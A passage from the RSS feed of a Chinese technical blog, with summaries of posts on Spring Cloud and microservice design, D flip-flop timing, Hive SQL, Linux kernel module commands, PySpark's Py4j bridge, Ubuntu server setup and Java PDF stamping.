      <pubDate>Thu, 28 May 2020 16:18:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d3f8a945084f3ffbf7209599822b2d6/</guid>
      <description>目录 三大门派Netflix阿里巴巴Spring Open Source 势力范围小结 上一章我们队Spring Cloud里的各个组件做了简单的介绍，大家有所不知，看着Spring Cloud大家庭其乐融融，可是这里头有三股势力在暗地里较劲呢。 三大门派 有Spring Cloud的地方就有江湖，我们就来看一看在这个江湖中都有哪些独霸一方的门派！&#xA;Netflix 是先有Spring Cloud还是先有Netflix？这是一个好问题。Netflix是一家大名鼎鼎的互联网传媒公司，但为什么它在开源软件领域有这么大的名声呢？这就不得不说起它和Spring Cloud的渊源了。&#xA;很久很久以前，天和地还没有分开，宇宙混沌一片。有个叫Netflix的公司，在这混沌之中，拿自身的业务动手，开启了一段微服务的改造之旅。在这段漫长的过程中，沉淀出了一系列优秀的微服务组件，比如大名鼎鼎的Eureka，Hystrix，Zuul等等，这些组件经过Pivotal的一系列封装以后就构成了初代目Spring Cloud。&#xA;目前Spring Cloud Netflix组件库是Spring Cloud中最受欢迎的项目，并且还拥有最广泛的群众基础，这么说吧，10个用Spring Cloud的公司，有八九个都会选用Netflix组件库全家桶来构建自己的技术栈。听到这，同鞋们可能会问，难道Spring Cloud里还有其他的组件库吗？那我们就往下看。&#xA;阿里巴巴 阿里近些年开源的步子迈的很大，都说步子迈得大容易扯着裆，不过凭借阿里996+鸡血文化的加持，用互联网行业特有的糙快猛的精神，近几年在开源软件上不断开疆扩土，发展速度和规模都是是可圈可点。&#xA;目前开源领域一大热门当属Spring Cloud，尽管前面有Netflix组件库占尽天时地利，可是不妨碍阿里巴巴集团一贯怼天怼地的做派。这不，Spring Cloud大家族中又添新丁，那就是–Spring Cloud Alibaba组件库。&#xA;从目前的势头来看，Alibaba组件库还是呈现一路高歌猛进的态势，其中多款组件已经站上擂台和Netflix组件展开直接竞争。得益于阿里集团的福报文化，加班不要命的码农们给这些组件添加了各种业务功能，从我个人使用这两个组件的感受来说，Netflix组件相对来说比较“纯粹和纯净”，Alibaba组件似乎透出一股“KPI导向”的味道（恨不得把能想到的功能全塞进去）。&#xA;Spring Open Source 这最后一股势力就是Spring自个儿了，由Spring自己独家挂牌的开源组件，可以说是“原配”组件了。都说原配的才是最好的，不过在上面两个重量级组件库面前还真不好说。同鞋们经常会看到这样一个情况，在某个领域中这三家的组件会扎堆出现。比如服务治理，这三家各自都有一个独立组件，想想大家都是Spring Cloud一家子，为何还整出了一副三足鼎立的态势呢？这背后都有很多故事的，我们在后面再来跟大家说说这里面的恩怨情仇。&#xA;势力范围 那接下来我们就看一看上面那三股恶势力都在哪些领域部署了兵力&#xA;应用领域名称Netflix组件Alibaba组件Spring或其他开源厂商服务治理EurekaNacos，Dubbo（RPC框架）Consul负载均衡Ribbonspring-cloud-loadbalancer服务调用Feign（后划归为openfeign）服务容错Hystrix + Turbine + DashboardSentinel限流SentinelGateway支持网关层限流服务网关ZuulGateway配置管理ArchaiusAlibaba Cloud ACMConfig消息总线Bus调用链路追踪Sleuth消息驱动组件RocketMQ（Java写的消息中间件）Stream（对接Kafka，RabbitMQ）任务调度Alibaba Cloud SchedulerXspring-cloud-task其他Sidecar（跨语言）Seata（分布式事物）， SMS（短信服务） 从上面的表格中可以看出，在大多数的领域当中，我们都有多与一种的解决方案，而且各个组织在不同领域发力程度也不一样。我们在实际的研发当中不会只盯着一个组件库用，而是结合使用来自不同组织开发的组件，这样才能发挥Spring Cloud的最强功力。&#xA;小结 本章我们对Spring Cloud里的几大势力做了一番介绍，并且了解了在不同的业务领域都有哪些可供我们选择的组件。</description>
    </item>
    <item>
      <title>微服务的拆分规范和原则</title>
      <link>https://bchobby.github.io/posts/8d77bc2b0e83a196f0b7895b640d3e97/</link>
      <pubDate>Thu, 28 May 2020 12:05:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d77bc2b0e83a196f0b7895b640d3e97/</guid>
      <description>目录 拆迁方案1、压力模型拆分2、业务模型拆分2.1 主链路拆分2.2 领域模型拆分2.3 用户群体拆分2.4 前后台业务分离 前面我们了解了什么是微服务和为什么需要做微服务架构（What &amp;amp; Why），这一章我们就来探讨如何做微服务架构的拆分（How）&#xA;微服务拆分没有一个绝对正确的方案，服务拆分的粒度完全要根据业务场景来规划，而随着业务的发展，原先的架构方案也需要做调整。既然没有标准答案，那我们就使出“乱拳打死老师傅”的招数，想怎么拆怎么拆好了？且慢且慢，这不就成了暴力拆迁了吗，现在“扫黑除恶”正当头，我们可不能这么干。这里总结了几个服务拆分的心法秘籍，同鞋们可以照着这个路子去思考服务拆分的粒度，我行走江湖就靠着这套武功心法。&#xA;拆迁方案 这辈子当不成拆迁户的同学们，你们也别灰心，咱房子拆不成，微服务还是可以拆一拆的。说到拆迁，咱就得有一套方式方法，不能暴力拆迁。不妨看一看在下一般怎么规划拆迁方案&#xA;1、压力模型拆分 压力模型简单来说就是用户访问量，我们要识别出某些超高并发量的业务，尽可能把这部分业务独立拆分出来。这么做的原因非常简单，高并发业务相当于前线战场，战况非常激烈，如果我方部署兵力不够（服务器资源），而敌方攻势又过于猛烈（剁手族们疯狂的流量），万一战线失手了服务器压力抵挡不住，我们不希望让这种情况影响到其他用户场景。&#xA;我这里举两个例子：&#xA;秒杀&#xA;秒杀是一个典型的低频突发流量的场景，参加秒杀的商品的数量一般不会很多，但是在秒杀开始的时候，尤其是对爆款商品来说（比如新发布的苹果手机），会有一个很明显的突发流量商品详情页&#xA;商品详情页毫无疑问是电商场景中并发量最大的业务，一笔成功达成的订单背后，可能会调用几十次商品详情页接口（大家买东西都要货比三家么不是） 我在做具体规划的时候，会尽量把压力模型拆解为三个维度&#xA;高频高并发场景&#xA;比如商品详情页，它既是一个高频场景（时时刻刻都会发生），同时也是高并发的场景（QPS - Query per seconds极高）低频突发流量场景&#xA;比如前面提到的秒杀，它并不是高频场景（偶尔发生），但是它会产生突发流量。再跟大家举一个例子，那就是“商品发布”，对新零售业务来说，当开设一个线下大型卖场以后，需要将所有库存商品一键上架，这里的商品总数是个非常庞大的数字（几十万+），瞬间就可以打出很高的QPS低频流量场景&#xA;这一类多为后台运营团队的服务接口，比如商品图文编辑，添加新的优惠计算规则，上架新商品。它发生的频率比较低，而且也不会造成很高的并发量。 通常我们建议将高频高并发的场景隔离出来，单独作为一个微服务模块，典型的就是商品详情页的后台服务。对低频突发流量的场景，如果条件允许也可以剥离出来独立组成模块，如果必须和其他业务包在一个微服务下，那一定要做好流控措施（最典型的就是削峰策略），而且还要考虑到异常情况下的补偿机制。对于低频流量场景，我们根据业务模型切分就好了（后面会讲到）。&#xA;2、业务模型拆分 业务模型拆分的维度有很多，我们在实际项目中应该综合各个不同维度做考量。我这里主要从主链路、领域模型和用户群体三个维度来讲一下&#xA;2.1 主链路拆分 在电商领域“主链路”是一个很重要的业务链条，它是指用户完成下单场景所必须经过的场景。按照我们平时买买买的剁手经验，可以识别出很多核心主链路，比如商品搜索-&amp;gt;商品详情页-&amp;gt;购物车模块-&amp;gt;订单结算-&amp;gt;支付业务，这是就是一条最简单的主链路。如果这是一场战斗的话，那么主链路就是这场战斗的正面战场，我们必须力保主链路不失守。&#xA;电商领域背后还有很多隐藏的核心主链路，比如下单之前的营销优惠结算，它会影响订单的最终价格；再比如用户地址模块，它会影响下单前的配送地址选择。如果这两个模块出了问题，大部分用户恐怕都要放弃下单了。试想，双十一我们添加了一揽子购物车，结果结算的时候发现所有优惠组合都失效了，或者是无法选择配送地址，那也只好放弃了。&#xA;各位亲，这里建议将核心主链路拆分，有以下几个目的：&#xA;异常容错&#xA;为主链路建立层次化的降级策略（多级降级），以及合理的熔断策略，这部分我们将在Hystrix服务容错阶段的课程中详细解释调配资源&#xA;主链路通常来讲都是高频场景，自然需要更多的计算资源，最主要的体现就是集群里分配的虚机数量多。举个例子，就说淘系中台业务中单品营销优惠微服务，在平日非大促阶段（非双11扩容场景）一个服务后台都有接近一万台虚机，一到了发布窗口就要通宵达旦做发布。将主链路服务单独隔离出来，这样有利于根据需要指定资源计划（比如双11阶段为每个主链路服务拟定不同的扩容计划）服务隔离&#xA;主链路是主打输出的C位，把主链路与其他打辅助的业务服务隔离开来，避免边缘服务的异常情况影响到主链路。 2.2 领域模型拆分 领域驱动设计DDD（Domain-Driven Design 领域驱动设计）不是一个新概念，但老外们有个毛病，做什么事情特别喜欢提炼方法论，本来一个非常简单的概念，愣是被吹到神乎其神高深莫测。&#xA;其实领域模型是一个很简单的概念，抛掉繁文缛节的方法论，我们一样可以做好领域模型拆分。我举一个例子大家就明白了。阿里集团推出了一套大中台战略，将集团内部的公共领域服务从各个事业部中剥离出来，整合成了一个“集团级别”的大型中台业务。比如说IC订单系统，淘系商品服务，UMP营销优惠服务，汇金平台，用户账号系统等等。&#xA;从上面这个例子中我们可以看出，所谓领域模型，其实就是一套各司其职的服务集合。这里涉及到领域和合并和分拆。领域合并的例子就是淘系的营销优惠服务，曾经天猫和淘宝各有一套营销服务，如果不考虑底层技术，从业务层面来说它们做的事情是一样的，都属于营销优惠计算的领域范围，因此后面两条技术线整合成了一套UMP营销优惠服务。领域拆分的例子就太多了，我们做微服务规划的时候要确保各个领域之间有清晰的界限，比如商品服务，和订单服务，尽管他们之间有交集（都围绕商品主数据），但是毕竟是服务于不同领域（商品域和订单域），所以我们要将两者拆分成独立的服务。&#xA;2.3 用户群体拆分 根据用户群体做拆分，我们首先要了解自己的系统业务里有哪些用户，比如说电商领域，我们有2C的小卖家，也有2B的大客户，在集团内部有运营、采购、还有客服小二等等。对每个不同的用户群体来说，即便是相同的业务领域，也有该群体其独有的业务场景。&#xA;用户群体相当于一个二级域，我们建议先根据主链路和领域模型做一级域的拆分，再结合具体的业务分析，看是否需要在用户领域方向上做更细粒度的拆分。&#xA;2.4 前后台业务分离 同学们如果下了班当过顺丰车主的话，就会知道网约车业务不仅有一个乘客端app，也有一个司机端app。电商领域也是一样的，我们通过手淘app买买买（前台业务场景），商家通过后台的业务系统管理商品信息（后台业务场景）。在实际项目中通常也会将前台业务和后台业务做一个隔离，这也符合高频业务（前台）和低频业务（后台）的隔离策略。</description>
    </item>
    <item>
      <title>微服务介绍</title>
      <link>https://bchobby.github.io/posts/0faa6637ab67286654f150090a1e97a7/</link>
      <pubDate>Thu, 28 May 2020 11:33:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0faa6637ab67286654f150090a1e97a7/</guid>
      <description>目录 Teenage Sex（青少年行为）一字箴言 - 微微服务的印象标签拆迁办事处单一职责研发团队赋能可独立部署学习Tips Teenage Sex（青少年行为） 微服务是什么？杜克大学教授Dan Ariely说过一段非常出名的话，用来表述Big Data的发展现状。我觉得把这句话放到微服务身上也极其贴切。&#xA;Micro-services is like teenage sex: Everyone talks about it, nobody really knows how to do it, everyone thinks everyone else is doing it, so everyone claims they are doing it 微服务就像青春期性行为的话题，所有（小屁孩）都在讨论它，但没人知道怎么做，所有人都以为其他的人都在做，因此所有人都宣称他们自己也在这么做。&#xA;大到BAT级的应用，小到两三人的软件作坊，开发团队都会说自己的系统是使用“微服务架构”，这就像几年前大数据被吹到天上的时候，只要有一个数据库就可以说自己的系统是“基于大数据技术”。那这些所谓的微服务架构，到底是真微服务还是伪微服务？又或者是为了微服务而微服务呢？God knows&#xA;一字箴言 - 微 要说微服务，那么就绕不开这个微小的微字。亚马逊的掌门人Jeff Bezos提出过一个很有意思的观点：The two pizza principle，双披萨原则。&#xA;Teams shouldn’t be larger than what two pizzas can feed 言下之意就是，如果两个Pizza还不能让你的团队吃饱，那么你的团队可能太大了。很可惜，它并没有说Pizza的大小，而且他的团队也没有老师这号凭一己之力就可以干掉2个Pizza的人。但是Jeff提出了一个蛮有建设性的意见，就是保持小规模的团队。&#xA;如果我们保持规模较小的特战队模式，那么这个团队的项目/模块规模必然也要控制在一定范围以内，他们所负责的项目也应当是一组相对较小，并且独立的功能单元。通常情况下并不是先有团队再有业务架构，实际上我们的团队应该是围绕“业务功能”来组织的。&#xA;对于微服务的划分，什么粒度的微服务才是合适的？这个没有标准的答案，假如你的用户只有100个，那么还需要做服务划分吗？我想并不需要，因为对这种规模的项目来说，单体应用是更好的选择，微服务反而会增加运维和研发成本。那么当你的应用要承接几十万用户的时候，无论是从交付迭代的效率来说，还是从高可用的角度来说，微服务架构会是更好的选择。我们在后面的章节里，将和大家一起来讨论服务拆分的几个衡量标准。&#xA;微服务的印象标签 微服务领域有众多开源项目，比如Spring Cloud就是目前这个领域的头牌。但是要提醒大家的是，并不是说你在项目中应用了微服务的开源技术，那么这个项目就摇身一变成了微服务架构，土鸡穿了马甲还是土鸡，可变不成凤凰。这些开源技术就像一个人的外功招式，武术架子使的再漂亮，没有内功加持还是花架子。&#xA;那么微服务领域都有哪些所谓内功？其实这些都是软件设计中很常见的准则，并不是什么高深的功夫，但是这些准则可以很好的应用到微服务规划，或者用来识别业务主链路。我们来回顾一下这些耳熟能详的软件设计方法论。&#xA;拆迁办事处 对我们来说最直观的感受就是一个字“拆”，应用微服务化的第一步就是理清楚两个问题，拆什么和怎么拆。字面意思上很好理解，就是将一大坨纠缠在一起的服务拆分成单个服务，剥离出去独立提供服务。在稍后的小节里我们将一起来探讨拆迁办的办事儿准则。</description>
    </item>
    <item>
      <title>D触发器的建立时间和保持时间原理</title>
      <link>https://bchobby.github.io/posts/a61197d30eadf44f5b5ce3d60a9610cb/</link>
      <pubDate>Thu, 28 May 2020 10:59:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a61197d30eadf44f5b5ce3d60a9610cb/</guid>
      <description>大家都知道D触发器需要建立时间和保持时间，它们的含义大家也清楚，但是为什么需要建立时间Tsu和保持时间Th？下图展示了一般D触发器的内部结构&#xA;具体的分析有兴趣可以慢慢分析，不是很难。主要说一下大概：默认SD,RD信号为高，cp=0时，D信号作用于G5,G6两个与非门分别输出D和！D，当cp=1时，G5,G6的输出端数据经过G3,G4到达其输出端，然后根据RS触发器得到输出Q。其中当cp=1时，无论D信号怎么变化都不会影响G3,G3输出的结果。（这里假设忽略了门延时）。&#xA;这样的话一个上升沿触发的D触发器就完成了。&#xA;但是逻辑门的延时是不能忽略的，那么Tsu代表什么呢？代表了数据D到达G5,G6输出端的时间。我们假设Tsu为4ns，即数据D需要要cp=1时前4ns就要保持稳定，同时也代表了G5,G6最大的门延时是4ns。那么假如我们在cp=1前3ns改变我们的D值会怎样呢？那是不是当cp=1时，改变的D值还没用通过逻辑延时为4ns的门，也就是说此时G5,G6的数据还是cp=1前4ns的D值。也就是说明了当在建立时间以后改变输入数据是没有作用的。&#xA;同样，Th代表了G5,G6的输出端口到G3,G4的输出端口的时间。前面分析我们知道如果不考虑延时，那么cp=1时，G5,G6的输出端口值会马上在G3,G4端口输出，且由于cp=1了，D数据的改变并不会影响G5,G6的输出结果从而保持数据的稳定。那么由于门延时的存在，cp=0时，G4,G3端口输出为1，当cp=1时，G3,G4的端口值并不能马上改变，这里我们假设Th=4，即需要4ns端口值才能变化，那么假如在这4ns中外部数据D发生了改变，由于此时G3,G4的输出端口依然为0（逻辑延时4ns），那么他们的反馈回路会造成G5,G6的输出端口值随着D的改变而改变，这样会导致G3,G4的数据随之改变从而造成输出数据的错误。</description>
    </item>
    <item>
      <title>视频教程-105集大白话学懂Python教育项目教程-Python</title>
      <link>https://bchobby.github.io/posts/4d074c586282f486017cff8658695cda/</link>
      <pubDate>Thu, 28 May 2020 10:24:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d074c586282f486017cff8658695cda/</guid>
      <description>105集大白话学懂Python教育项目教程 张长志技术全才、擅长领域：区块链、大数据、Java等。10余年软件研发及企业培训经验，曾为多家大型企业提供企业内训如中石化，中国联通，中国移动等知名企业。拥有丰富的企业应用软件开发经验、深厚的软件架构设计理论基础及实践能力。项目开发历程：基于大数据技术推荐系统 ，医疗保险大数据分析与统计推断，H5跨平台APP，携程酒店APP，Go语言实现Storm和ZK类似框架。 张长志 ¥58.00 立即订阅 扫码下载「CSDN程序员学院APP」，1000+技术好课免费看 APP订阅课程，领取优惠，最少立减5元 ↓↓↓ 订阅后：请点击此处观看视频课程 视频教程-105集大白话学懂Python教育项目教程-Python 学习有效期：永久观看 学习时长：1604分钟 学习计划：27天 难度：高 「口碑讲师带队学习，让你的问题不过夜」 讲师姓名：张长志 CTO/CIO/技术副总裁/总工程师 讲师介绍：张长志技术全才、擅长领域：区块链、大数据、Java等。10余年软件研发及企业培训经验，曾为多家大型企业提供企业内训如中石化，中国联通，中国移动等知名企业。拥有丰富的企业应用软件开发经验、深厚的软件架构设计理论基础及实践能力。项目开发历程：基于大数据技术推荐系统 ，医疗保险大数据分析与统计推断，H5跨平台APP，携程酒店APP，Go语言实现Storm和ZK类似框架。 ☛点击立即跟老师学习☚ 「你将学到什么？」 本教程为官方授权教程 整个项目，从项目的准备阶段到最终的部署上线全面涵盖；项目全程手写代码，逐行讲解；Django相关业务逻辑基本全部涵盖。 本课程中你将学习到，Django的框架使用流程、Django配置第三方的后台xadmin、Django使用邮箱处理用户登陆注册、Django-simple-captcha第三方验证码的使用、项目的部署上线流程等。 「课程学习目录」 1.01、项目准备_根据模板页面抽象app 2.02、目准备_app当中模型类（表）的抽象（1） 3.03、项目准备_app当中模型类（表）的抽象（2） 4.04、项目准备_项目的创建和配置 5.05、项目准备_创建其余app配置子路由，创建自主app管理的包去管理所有的app 6.06、项目准备_用户模块的模型类创建 7.07、项目准备_机构模块的模型类创建 8.08、项目准备_课程模块的模型类创建 9.09、项目准备_用户操作app模型类的创建（1） 10.10、项目准备_用户操作app模型类的创建（2） 11.11、项目准备_所有模型类的迁移和同步 12.12、项目准备_xadmin简介 13.13、项目准备_xadmin注册模型类添加测试数据（1） 14.14、项目准备_xadmin的主题设置及全局样式设置 15.15、项目准备_xadmin注册模型类添加测试数据（2） 16.16、项目准备_xadmin配置icon 17.17、项目准备_首页逻辑及首页的显示 18.18、项目准备_多级继承的原理及首页使用继承显示（1） 19.19、项目准备_多级继承的原理及首页使用继承显示（2） 20.20、用户模块_用户基本注册get请求方式实现 21.21、用户模块_用户基本注册post实现 22.22、用户模块_用户基本登陆逻辑实现 23.23、用户模块_第三方验证码django-simple-captcha的配置和使用 24.24、用户模块_为基本登陆添加激活功能并引出发送邮件逻辑 25.25、用户模块_注册发送邮箱验证码（1） 26.26、用户模块_注册发送邮箱验证码（2） 27.27、用户模块_邮箱验证码激活功能的实现 28.28、用户模块_忘记密码之发送邮箱验证码功能 29.29、用户模块_忘记密码之修改密码功能 30.30、机构模块_机构列表页的模板页面展示 31.31、机构模块_机构列表页模板数据的填充和展示 32.32、机构模块_机构列表页的分页功能实现 33.33、机构模块_机构列表页按照机构类别进行筛选过滤 34.34、机构模块_机构列表页按照所在地区进行筛选过滤 35.35、机构模块_机构列表页类别和地区联合过滤 36.36、机构模块_按照学习人数和课程数进行排序 37.37、机构模块_将过滤筛选和排序进行关联 38.38、机构模块_用户咨询功能ajax实现（1） 39.39、机构模块_用户咨询功能ajax实现（2） 40.40、机构模块_用户咨询使用自定义验证规则验证手机 41.41、机构模块_机构详情页首页后台逻辑及模板二级base制作 42.42、机构模块_机构详情页首页继承二级base进行展示 43.43、机构模块_机构详情页首页的数据展示 44.</description>
    </item>
    <item>
      <title>[其他] Linux内核模块管理命令(modprobe、modinfo、rmmod、insmod)</title>
      <link>https://bchobby.github.io/posts/bb7e707dca83c491b8a9f7453b3ab709/</link>
      <pubDate>Thu, 28 May 2020 10:20:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb7e707dca83c491b8a9f7453b3ab709/</guid>
      <description>---------------------------------------- modprobe ----------------------------------------&#xA;#1 显示模块配置信息&#xA;modprobe -c|grep tipc&#xA;#2 显示模块依赖关系&#xA;modprobe --show-depends tipc&#xA;#3 开机加载模块&#xA;systemd 读取 /etc/modules-load.d/ 中的配置加载额外的内核模块。配置文件名称通常为 /etc/modules-load.d/&amp;lt;program&amp;gt;.conf。&#xA;格式很简单，一行一个要读取的模块名，而空行以及第一个非空格字符为#或;的行会被忽略，如：&#xA;/etc/modules-load.d/virtio-net.conf&#xA;# Load virtio-net.ko at boot&#xA;virtio-net /etc/modules-load.d/tipc.conf&#xA;# Load tipc.ko at boot&#xA;tipc&#xA;也可以使用命令modules-load.d来配置开机加载的模块。&#xA;#4 配置模块参数&#xA;要通过配置文件传递参数，在 /etc/modprobe.d/ 中放入任意名称 .conf 文件，比如：tipc.conf&#xA;#5 使用内核命令行&#xA;如果模块直接编译进内核，也可以通过启动管理器(GRUB, LILO 或 Syslinux)的内核行加入参数：&#xA;modname.parametername=parametercontents&#xA;例如:thinkpad_acpi.fan_control=1&#xA;#7 模块黑名单&#xA;#7-1 禁用内核模块&#xA;有些模块作为 initramfs 的一部分装入。要阻止 initramfs 装入某些模块，可以在 /etc/modprobe.d/modprobe.conf 中将它们加入黑名单&#xA;#7-2 使用 /etc/modprobe.d/ 中的文件&#xA;在 /etc/modprobe.d/ 中创建 tipc.</description>
    </item>
    <item>
      <title>十六、hive sql求连续三天购买指定需求</title>
      <link>https://bchobby.github.io/posts/0bee646c87e8dc598c2ec43667f36101/</link>
      <pubDate>Wed, 27 May 2020 21:22:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bee646c87e8dc598c2ec43667f36101/</guid>
      <description>在实际开发中经常会有一些求连续类型指标，如系统连续几天登录、商城连续几天下单客户，等等关于连续时间类型的指标问题&#xA;需求：下面会做一个求连续三天下单的客户&#xA;1、测试数据&#xA;001&#x9;zs&#x9;p001&#x9;2020-02-04 002&#x9;zs&#x9;p005&#x9;2020-03-05 003&#x9;zs&#x9;p006&#x9;2020-03-06 004&#x9;zs&#x9;p002&#x9;2020-03-07 005&#x9;zs&#x9;p001&#x9;2020-03-19 006&#x9;ls&#x9;p002&#x9;2020-03-04 007&#x9;ls&#x9;p001&#x9;2020-03-05 008&#x9;ww&#x9;p002&#x9;2020-03-07 009&#x9;ww&#x9;p001&#x9;2020-03-08 010&#x9;ww&#x9;p002&#x9;2020-03-09 011&#x9;ww&#x9;p001&#x9;2020-03-14 012&#x9;zl&#x9;p002&#x9;2020-03-09 013&#x9;zl&#x9;p001&#x9;2020-03-10 014&#x9;tq&#x9;p002&#x9;2020-03-09 015&#x9;tq&#x9;p001&#x9;2020-03-10 016&#x9;tq&#x9;p002&#x9;2020-03-11 017&#x9;tq&#x9;p001&#x9;2020-03-17 018&#x9;tq&#x9;p002&#x9;2020-03-19 019&#x9;tq&#x9;p001&#x9;2020-03-20 2、建表 hive (default)&amp;gt; create table t_order(order_id string,user_id string,product_id string,order_date string) row format delimited fields terminated by &#39;\t&#39;; 3、导入数据 hive (default)&amp;gt; load data local inpath &#39;/opt/module/hive/order.</description>
    </item>
    <item>
      <title>WPf   使用KeyDown后屏蔽方向键导致的焦点移动</title>
      <link>https://bchobby.github.io/posts/da872677ccb5574ca5cac771fa71e088/</link>
      <pubDate>Wed, 27 May 2020 13:45:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da872677ccb5574ca5cac771fa71e088/</guid>
      <description> private void MainWindows_KeyDown(object sender, KeyEventArgs e) { if (e.KeyStates == Keyboard.GetKeyStates(Key.Left)) { Last_Click(null, null); //取消该事件不然会移动焦点 e.Handled = true; } else if (e.KeyStates == Keyboard.GetKeyStates(Key.Right)) { Next_Click(null , null); //取消该事件,不然会移动焦点 e.Handled = true; } } KeyDown=&#34;MainWindows_KeyDown&#34; </description>
    </item>
    <item>
      <title>PySpark源码分析之Driver端基于Py4j的通信详解</title>
      <link>https://bchobby.github.io/posts/39ee45b83e9c2f601251df24192306d6/</link>
      <pubDate>Wed, 27 May 2020 10:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39ee45b83e9c2f601251df24192306d6/</guid>
      <description>文章目录 概述服务端启动Python客户端编程示例 概述 接上文 PySpark源码分析之AM端运行流程（Driver） 的最后部分可知，PySpark是通过Py4j来实现与Scala端JVM通信交互的（注：Py4j只用于Driver端Python调用JVM中方法；Executor端是直接通过socket通信的。），PySpark主要提供一层Python API的封装。其过程主要是JVM会开启一个Socket端口提供RPC服务，Python需要调用Spark API时，它会作为客户端将调用指令序列化成字节流发送到Socket服务端口，JVM接受字节流后解包成对应的指令，然后找到目标对象和代码进行执行，然后将执行结果序列化成字节流通过Socket返回给客户端，客户端收到字节流后再解码成Python对象，于是Python客户端就成功拿到了远程调用的结果（注：Py4j同时支持【Python -&amp;gt; JVM】和【JVM -&amp;gt; Python】，本文仅仅分析前者，后者在Spark Streaming中有适用场景，以后有时间再分析）。&#xA;官方文档：https://www.py4j.org/index.html&#xA;github：https://github.com/bartdag/py4j&#xA;Py4j内存模型：&#xA;Every time a Java object is sent to the Python side, a reference to the object is kept on the Java side (in the Gateway class). Once the object is garbage collected on the Python VM (reference count == 0), the reference is removed on the Java VM: if this was the last reference, the object will likely be garbage collected too.</description>
    </item>
    <item>
      <title>ES系列：查看ES数据目录、日志目录、配置参数等API</title>
      <link>https://bchobby.github.io/posts/280a71d8c94412f04f2fed6cc2a43118/</link>
      <pubDate>Tue, 26 May 2020 22:28:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/280a71d8c94412f04f2fed6cc2a43118/</guid>
      <description>http://192.168.40.148:9200/_nodes</description>
    </item>
    <item>
      <title>ubuntu20.04 server 无图形命令行安装</title>
      <link>https://bchobby.github.io/posts/fffa7d54fb943321d776859533b3bfe7/</link>
      <pubDate>Tue, 26 May 2020 21:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fffa7d54fb943321d776859533b3bfe7/</guid>
      <description>参考连接已经连接在文章中&#xA;安装图形界面参考&#xA;ubuntu修改开机进入命令行添加链接描述&#xA;设置root密码添加链接描述&#xA;配置静态ip参考参考&#xA;# Let NetworkManager manage all devices on this system，注意下ip段，不要超出 network: ethernets: ens33: addresses: [192.168.81.31/24] dhcp4: no optional: true gateway4: 192.168.81.2 nameservers: addresses: [114.144.144.144,8.8.8.8] version: 2 renderer: NetworkManager ~ ~ 安装ssh服务&#xA;apt-get install openssh-server&#xA;开启root用户允许连接&#xA;参考&#xA;报错 Host key verification failed.&#xA;[zeng@localhost .ssh]$ rm known_hosts #删除就好&#xA;参考&#xA;配置阿里源阿里镜像官网&#xA;配置方法官网&#xA;先备份&#xA;root@ubuntu:/etc/apt# ls&#xA;apt.conf.d preferences.d sources.list.curtin.old trusted.gpg.d&#xA;auth.conf.d sources.list sources.list.d&#xA;root@ubuntu:/etc/apt# mv sources.list sources.list.bak&#xA;直接新建sourcess.list 将官网内容复制进去</description>
    </item>
    <item>
      <title>十二、over开窗行数，rank排序函数介绍</title>
      <link>https://bchobby.github.io/posts/c1fbeaaa9551c04f229d638d52b73038/</link>
      <pubDate>Tue, 26 May 2020 15:35:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1fbeaaa9551c04f229d638d52b73038/</guid>
      <description>一、函数介绍 1、OVER()： 指定分析函数工作的数据窗口大小，这个数据窗口大小可能会随着行的变而变化，例如分区排序；&#xA;over函数相关参数：&#xA;partition by：分区，窗口大小为分区 order by：一般与分区相结合使用，窗口大小为排序后的数据起点到当前行 CURRENT ROW：当前行 n PRECEDING：往前n行数据 n FOLLOWING：往后n行数据 UNBOUNDED：起点，UNBOUNDED PRECEDING 表示从前面的起点， UNBOUNDED FOLLOWING表示到后面的终点 2、其他函数 LAG(col,n)：往前第n行数据&#xA;LAG(col,n)：往前第n行数据&#xA;NTILE(n)：把有序分区中的行分发到指定数据的组中，各个组有编号，编号从1开始，对于每一行，NTILE返回此行所属的组的编号。注意：n必须为int类型。&#xA;此三个函数都需要over() 开窗来确定数据范围大小，不然单独无法使用&#xA;3、排序函数介绍 RANK() 排序相同时会重复，总数不会变&#xA;DENSE_RANK() 排序相同时会重复，总数会减少&#xA;ROW_NUMBER() 会根据顺序计算&#xA;一样需要over函数来开窗确定数据范围大小。&#xA;二、over使用介绍 1、数据准备 jack,2017-01-01,10 tony,2017-01-02,15 jack,2017-02-03,23 tony,2017-01-04,29 jack,2017-01-05,46 jack,2017-04-06,42 tony,2017-01-07,50 jack,2017-01-08,55 mart,2017-04-08,62 mart,2017-04-09,68 neil,2017-05-10,12 mart,2017-04-11,75 neil,2017-06-12,80 mart,2017-04-13,94 建表 create table business( name string, orderdate string, cost int ) ROW FORMAT DELIMITED FIELDS TERMINATED BY &#39;,&#39;; 导入 load data local inpath &#34;</description>
    </item>
    <item>
      <title>java  PDF加印章</title>
      <link>https://bchobby.github.io/posts/a37b39965e102c1046c798ebc42ce056/</link>
      <pubDate>Tue, 26 May 2020 11:31:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a37b39965e102c1046c798ebc42ce056/</guid>
      <description>图章（印章）是一种在合同、票据、公文等文件中表明法律效应、部门机关权威的重要指示物，常见于各种格式的文件、文档中。对于纸质文档可以手动盖章，但对于电子文档，则需要通过特定的方法来实现。本篇文档分享通过Java代码在PDF文档中添加图章的方法。内容将分两部分介绍：&#xA;1. 添加图片图章。即通过加载现有的图章（以图片形式），添加到PDF指定页面位置&#xA;2. 添加动态图章。即加载PDF文档，并在动态的添加印章内容，包括印章字样、日期、时间、经办人、组织名称等&#xA;使用工具：Free Spire.PDF for Java v2.0.0（免费版）&#xA;关于jar文件导入： Maven配置： 首先，在pom.xml文件中配置Maven仓库路径。&#xA;&amp;lt;repositories&amp;gt; &amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;com.e-iceblue&amp;lt;/id&amp;gt; &amp;lt;url&amp;gt;http://repo.e-iceblue.cn/repository/maven-public/&amp;lt;/url&amp;gt; &amp;lt;/repository&amp;gt; &amp;lt;/repositories&amp;gt; 